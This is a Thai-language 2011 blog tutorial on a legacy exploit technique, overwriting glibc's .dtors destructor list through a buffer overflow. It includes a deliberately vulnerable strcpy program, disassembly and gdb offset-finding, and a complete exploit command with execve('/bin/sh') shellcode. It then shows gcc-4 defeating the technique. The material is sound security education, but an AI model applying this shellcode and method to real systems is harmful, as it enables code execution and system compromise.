Friday, February 25, 2011

Overwriting dtors

ในหัวข้อนี้ ผมจะพูดถึงเทคนิคการเขียน exploit ด้วยการ overwrite C destructor ซึ่งเทคนิคนี้ ไม่สามารถใช้ได้แล้วใน GCC version ที่ใช้กันอยู่ แต่ที่พูดถึงก็เพื่อเป็นตัวอย่างในการศึกษา

หลายคนอาจไม่รู้ว่าใน glibc นั้นมี constructor และ destructor ด้วย วัตถุประสงค์จะเหมือนใน C++ คือส่วนที่ทำงานก่อนโปรแกรมจะเริ่มที่ main() และส่วนที่ทำงานก่อนโปรแกรมจะจบ (หลัง main()) รวมถึงการออกด้วย exit() เช่นตามตัวที่อย่างที่ 1 (ex_08_1.c)

/* gcc-3.4 -o ex_08_1 ex_08_1.c */
#include <stdio.h>

void test_ctor() __attribute__ ((constructor));
void test_dtor() __attribute__ ((destructor));

void test_ctor()
{
    printf("In ctor\n");
}

void test_dtor()
{
    printf("In dtor\n");
}

int main()
{
    printf("In main\n");
    printf("Address of test_ctor: %p\n", &test_ctor);
    printf("Address of test_dtor: %p\n", &test_dtor);
    return 0;
}

และเมื่อ compile ด้วย gcc-3 และ run จะได้ผลตามนี้

$ ./ex_08_1
In ctor
In main
Address of test_ctor: 0x804834c
Address of test_dtor: 0x8048360
In dtor

แล้วถ้าเราไล่ดู code จะพบว่า constructor นั้นถูกเรียกจาก __do_global_ctors_aux function และ destructor จะถูกเรียกจาก __do_global_dtors_aux โดย 2 functions นี้ เพิ่มขึ้นมาเมื่อเรา compile โปรแกรมด้วย gcc

Note: สำหรับคนที่อยากไล่ด้วย gdb ให้ใช้คำสั่ง objdump -f ex_08_1 เพื่อดู entry point ของโปรแกรม แล้ว set breakpoint ที่ entry point ก่อนจะเริ่มโปรแกรม

โดย function list ของ constructor และ destructor นั้นจะถูกเก็บไว้ใน .ctors และ .dtors section ซึ่งสามารถดูได้ด้วยคำสั่ง objdump ดังนี้

$ objdump -s -j .ctors ex_08_1

ex_08_1:     file format elf32-i386

Contents of section .ctors:
 80494e0 ffffffff 4c830408 00000000           ....L.......
$ objdump -s -j .dtors ex_08_1

ex_08_1:     file format elf32-i386

Contents of section .dtors:
 80494ec ffffffff 60830408 00000000           ....`.......

จากผลลัพธ์ของ objdump จะได้ว่า .ctors section นั้นถูกโหลดใน memory ที่ address 0x080494e0 และ .dtors section ที่ address 0x080494ec และสังเกตเห็นมั้ยครับว่าค่า 4c830408 กับ 60830408 คือ address ของ test_ctor() กับ test_dtor() ตามลำดับ เมื่อเราไล่ดู assembly code ของ __do_global_dtors_aux() function ที่ได้มาจาก objdump

$ objdump -d -j .text ex_08_1 | awk /^.*__do_global_dtors_aux\>:$/,/^$/
080482f4 <__do_global_dtors_aux>:
 80482f4:       55                      push   %ebp
 80482f5:       89 e5                   mov    %esp,%ebp
 80482f7:       83 ec 08                sub    $0x8,%esp
 80482fa:       80 3d ec 95 04 08 00    cmpb   $0x0,0x80495ec # check ว่า destructor ถูกเรียกไปหรือยัง
 8048301:       3e 74 0c                je,pt  8048310 <__do_global_dtors_aux+0x1c>
 8048304:       eb 1c                   jmp    8048322 <__do_global_dtors_aux+0x2e>
 8048306:       83 c0 04                add    $0x4,%eax
 8048309:       a3 e8 95 04 08          mov    %eax,0x80495e8
 804830e:       ff d2                   call   *%edx  # เรียก destructor function
 8048310:       a1 e8 95 04 08          mov    0x80495e8,%eax  # เอา address ที่เก็บ address ของ dtors ลง eax
 8048315:       8b 10                   mov    (%eax),%edx # โหลด address ของ destructor function ลง edx
 8048317:       85 d2                   test   %edx,%edx # จบการเรียก destructor ถ้า address เป็น 0
 8048319:       75 eb                   jne    8048306 <__do_global_dtors_aux+0x12>
 804831b:       c6 05 ec 95 04 08 01    movb   $0x1,0x80495ec
 8048322:       c9                      leave
 8048323:       c3                      ret

จะเห็นว่าใน __do_global_dtors_aux() จะวนเรียก function ที่อยู่ใน dtors จน address ของ function เป็น 0 ดังนั้นเมื่อเกิด buffer overflow แล้วเราสามารถเขียนทับที่ addresss ไหนก็ได้ การเขียนทับ address ของ dtor ก็เป็นวิธีหนึ่งที่ทำให้โปรแกรมทำงานที่ address ที่เราต้องการได้

เรามาดูตัวอย่าง exploit ที่ใช้วิธีการเขียนทับ dtors กันดีกว่า โดยผมให้โปรแกรมที่มีช่องโหว่ดังนี้ (ex_08_2.c)

/* gcc-3.4 -fno-pie -z norelro -z execstack -o ex_08_2 ex_08_2.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char *ptr;
    char buf[512];

    ptr = buf;
    strcpy(buf, argv[1]);
    strcpy(ptr, argv[2]);

    exit(0);
}

จะเห็นว่าปัญหาของโปรแกรมนี้คือใช้ strcpy กับ input ของผู้ใช้ตรงๆ เหมือนตัวอย่างที่ผมเคยยกมา แต่ความแตกต่างคือมี exit(0); ซึ่งทำให้โปรแกรมไม่ได้จบ main() function ด้วยคำสั่ง assembly ret แต่เปลี่ยนเป็นออกโปรแกรมทันที ทำให้ shellcode ของเราไม่ทำงาน ถึงแม้ว่าเราจะเขียนทับ saved eip ก็ตาม

อีกหนึ่งประเด็นที่อย่างให้เห็นคือ ถ้าเราใส่ค่า argv[1] ไปยาวมากๆ จะทำให้ค่า argv ซึ่งเป็น argument ของ main function ถูกเปลี่ยนไปด้วย ทำให้การอ้างถึง argv[2] ในบรรทัดถัดไป อาจไปอ้างถึง address ที่ invalid (หวังว่ายังจำกันได้ว่า function argument อยู่ข้างล่าง saved eip) ทำให้โปรแกรม crash ก่อนที่โปรแกรมจะเริ่มทำงาน shellcode ของเรา ดังนั้นเวลาเขียน exploit สิ่งหนึ่งที่ต้องระวังคือ ต้องไม่ทำให้โปรแกรม crash ก่อนที่จะโปรแกรมจะมาทำงานในส่วนที่เราต้องการ

แล้วสิ่งที่เราสามารถทำได้ละ ถ้าลองดูที่ assembly ของโปรแกรมนี้ (ข้างล่าง) จะเห็นว่าตัวแปร ptr อยู่ข้างล่าง buf ซึ่งทำให้เราสามารถแก้ไขค่า ptr ได้ โดยการ overflow ตัวแปร buf และคำสั่ง strcpy ที่สองคือการ copy ข้อมูลจาก argv[2] ไปที่ตัวแปร ptr ชี้อยู่ ดังนั้นสิ่งที่เราทำได้ในโปรแกรมนี้ เขียนข้อมูลที่ address ไหนก็ได้ใน memory โดยผมจะแสดงเฉพาะวิธีเขียนทับ dtor (ในตัวอย่างนี้ผมไม่มีการ setuid นะครับ ทำแค่ spawn shell อย่างเดียว)

ก่อนอื่นเรามาดูว่าเราต้องใส่ข้อมูลเท่าไรถึงจะ overwrite ค่า ptr ได้ ซึ่งเมื่อดูใน assembly จะได้ว่าต้องเขียนไป 0x218-0xc = 0x20c = 524 bytes ก่อนจะถึง ptr (วิธีไล่ของผมก็คือหาคำสั่ง strcpy ก่อน แล้วค่อยจะหาตำแหน่งของ buf กับ ptr จากที่ถูกส่งเป็น argument แรก)

$ objdump -d -j .text ex_08_2 | awk /^.*main\>:$/,/^$/
0804837c <main>:
 804837c:       55                      push   %ebp
 804837d:       89 e5                   mov    %esp,%ebp
 804837f:       81 ec 28 02 00 00       sub    $0x228,%esp
 8048385:       83 e4 f0                and    $0xfffffff0,%esp
 8048388:       b8 00 00 00 00          mov    $0x0,%eax
 804838d:       83 c0 0f                add    $0xf,%eax
 8048390:       83 c0 0f                add    $0xf,%eax
 8048393:       c1 e8 04                shr    $0x4,%eax
 8048396:       c1 e0 04                shl    $0x4,%eax
 8048399:       29 c4                   sub    %eax,%esp
 804839b:       8d 85 e8 fd ff ff       lea    -0x218(%ebp),%eax
 80483a1:       89 45 f4                mov    %eax,-0xc(%ebp)
 80483a4:       8b 45 0c                mov    0xc(%ebp),%eax
 80483a7:       83 c0 04                add    $0x4,%eax
 80483aa:       8b 00                   mov    (%eax),%eax
 80483ac:       89 44 24 04             mov    %eax,0x4(%esp)
 80483b0:       8d 85 e8 fd ff ff       lea    -0x218(%ebp),%eax  # buf อยู่ที่ ebp-0x218
 80483b6:       89 04 24                mov    %eax,(%esp)
 80483b9:       e8 1e ff ff ff          call   80482dc   # strcpy แรก
 80483be:       8b 45 0c                mov    0xc(%ebp),%eax
 80483c1:       83 c0 08                add    $0x8,%eax
 80483c4:       8b 00                   mov    (%eax),%eax
 80483c6:       89 44 24 04             mov    %eax,0x4(%esp)
 80483ca:       8b 45 f4                mov    -0xc(%ebp),%eax  # ptr อยู่ที่ ebp-0xc
 80483cd:       89 04 24                mov    %eax,(%esp)
 80483d0:       e8 07 ff ff ff          call   80482dc  # strcpy ที่สอง
 80483d5:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 80483dc:       e8 0b ff ff ff          call   80482ec 
...

ต่อมาคือตำแหน่งของ dtor ที่เราต้องการจะเขียนทับ โดยเราจะนำค่านี้มาเขียนทับ ptr จะได้ตำแหน่งที่เราต้องการจะเขียนทับคือ 0x80494bc

$ objdump -s -j .dtors ex_08_2

ex_08_2:     file format elf32-i386

Contents of section .dtors:
 80494b8 ffffffff 00000000                    ........

สุดท้าย คือ address ของ shellcode ของเราที่จะใส่เข้าไป โดยในตัวอย่างนี้ผมจะใส่ shellcode ไว้ใน buf ดังนั้นสิ่งที่เราต้องหาคือ address ของ buf แต่คราวนี้ผมจะใช้ core file เพื่อหา address ของ shellcode ที่จะใส่เข้าไป

$ ulimit -c unlimited
$ ./ex_08_2 `perl -e 'print "A"x528'` `perl -e 'print "B"x4'`
$  gdb -q ex_08_2 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x001b2214 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0  0x001b2214 in strcpy () from /lib/tls/i686/cmov/libc.so.6  # จะเห็นว่าโปรแกรม crash ใน strcpy เพราะว่า ptr ชี้ไปที่ invalid address
#1  0x080483d5 in main ()
(gdb) x/16x $ebp
0xbffff2e8:     0xbffff528      0x080483d5      0x41414141      0xbffff913   # จะเห็นว่าค่า ptr เป็น 0x41414141 (argument ของ strcpy)
0xbffff2f8:     0xbffff30c      0x00124985      0x00000008      0x00000000
0xbffff308:     0xbffff40c      0xbffff354      0x41414141      0x41414141   # buf เริ่มที่ 0xbffff310
0xbffff318:     0x41414141      0x41414141      0x41414141      0x41414141

จะได้ว่า buf เราเริ่มที่ 0xbffff310 และผมจะใช้ execve("/bin/sh") shellcode ที่ได้จากหัวข้อการเขียน Linux x86 Shellcode ขนาด 21 bytes ดังนั้น nop เราจะมีขนาด 524-21 = 503 bytes ดังนั้น exploit จะเป็นดังนี้

$ ./ex_08_2 `perl -e 'print "\x90"x503 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80" . "\xbc\x94\x04\x08"'` `perl -e 'print "\x10\xf3\xff\xbf"'`
$ exit

ทำได้แล้ว แต่อย่างที่ผมบอกไปตอนต้นว่า เทคนิคนี้ใช้ไม่ได้แล้ว เรามาดูกันดีกว่าว่าทำไม ด้วยการลอง compile โปรแกรมที่สองด้วย gcc 4

$ gcc -fno-pie -z norelro -z execstack -o ex_08_2_gcc4 ex_08_2.c
$ objdump -s -j .dtors ex_08_2_gcc4

ex_08_2_gcc4:     file format elf32-i386

Contents of section .dtors:
 804952c ffffffff 00000000                    ........
$ objdump -d -j .text ex_08_2_gcc4 | awk /^.*__do_global_dtors_aux\>:$/,/^$/
08048370 <__do_global_dtors_aux>:
 8048370:       55                      push   %ebp
 8048371:       89 e5                   mov    %esp,%ebp
 8048373:       53                      push   %ebx
 8048374:       83 ec 04                sub    $0x4,%esp
 8048377:       80 3d 30 96 04 08 00    cmpb   $0x0,0x8049630
 804837e:       75 3f                   jne    80483bf <__do_global_dtors_aux+0x4f>
 8048380:       a1 34 96 04 08          mov    0x8049634,%eax
 8048385:       bb 30 95 04 08          mov    $0x8049530,%ebx  # เอา address สุดท้ายของ .dtor secion ลง ebx
 804838a:       81 eb 2c 95 04 08       sub    $0x804952c,%ebx  # ลบกับ address แรก ของ .dtor section
 8048390:       c1 fb 02                sar    $0x2,%ebx  # แล้วหารด้วย 4
 8048393:       83 eb 01                sub    $0x1,%ebx  # แล้วลบด้วย 1 จะได้จำนวนของ destructor function
 8048396:       39 d8                   cmp    %ebx,%eax
 8048398:       73 1e                   jae    80483b8 <__do_global_dtors_aux+0x48>
 804839a:       8d b6 00 00 00 00       lea    0x0(%esi),%esi
 80483a0:       83 c0 01                add    $0x1,%eax
 80483a3:       a3 34 96 04 08          mov    %eax,0x8049634
 80483a8:       ff 14 85 2c 95 04 08    call   *0x804952c(,%eax,4)
 80483af:       a1 34 96 04 08          mov    0x8049634,%eax
 80483b4:       39 d8                   cmp    %ebx,%eax  # ลูปจนจำนวนที่เรียก desturctor function เท่ากับที่คำนวณได้
 80483b6:       72 e8                   jb     80483a0 <__do_global_dtors_aux+0x30>
 80483b8:       c6 05 30 96 04 08 01    movb   $0x1,0x8049630
 80483bf:       83 c4 04                add    $0x4,%esp
 80483c2:       5b                      pop    %ebx
 80483c3:       5d                      pop    %ebp
 80483c4:       c3                      ret

เมื่ออ่าน assembly แล้วจะเห็นว่า เมื่อ compile ด้วย gcc4 ใน __do_global_dtors_aux function จะทำการหาจำนวนของ destructor function จาก .dtors section ซึ่งใส่ค่าตายตัวลงไป ทำให้ถึงแม้เราจะเขียนเพิ่มเหมือนในตัวอย่างที่ผ่านมา โปรแกรมก็จะไม่มีการเรียกไปที่ address ที่เราใส่เข้าไป ยกเว้นในโปรแกรมนั้น จะมี destructor function อยู่แล้ว


Reference:
- Izik 'Abusing .CTORS and .DTORS for fun 'n profit' (VX heavens)

No comments:

Post a Comment